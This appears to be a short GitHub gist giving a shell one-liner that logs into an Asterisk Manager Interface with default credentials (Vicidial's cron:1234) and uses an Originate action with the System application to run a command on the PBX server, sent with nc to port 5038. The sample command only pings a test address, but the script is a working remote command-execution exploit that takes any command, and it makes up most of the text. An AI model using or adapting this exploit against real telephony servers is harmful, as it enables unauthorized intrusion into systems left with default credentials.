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droberson/Asterisk Manager command execution

Created June 16, 2017 12:47
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Asterisk Manager command execution
Many PBX distros include default Asterisk Manager credentials. Vicidial uses cron:1234.
This requires a valid, registered extension to work. This example pings you. Verify with
tcpdump or Wireshark.
USER="cron"
SECRET="1234"
PROTOCOL="IAX2" # Could be SIP or something else.
EXTENSION="4000"
COMMAND="ping -c 5 10.10.10.10"
(echo "ACTION: LOGIN\r\nUSERNAME: ${USER}\r\nSECRET: ${SECRET}\r\n\r\nAction: Originate\r\nChannel: ${PROTOCOL}/${EXTENSION}\r\nExten: ${EXTENSION}\r\nPriority: 1\r\nCallerID: lol\r\nApplication: System\r\nData: ${COMMAND}\r\n\r\n") | \
nc ip.address.of.asterisk.manager 5038
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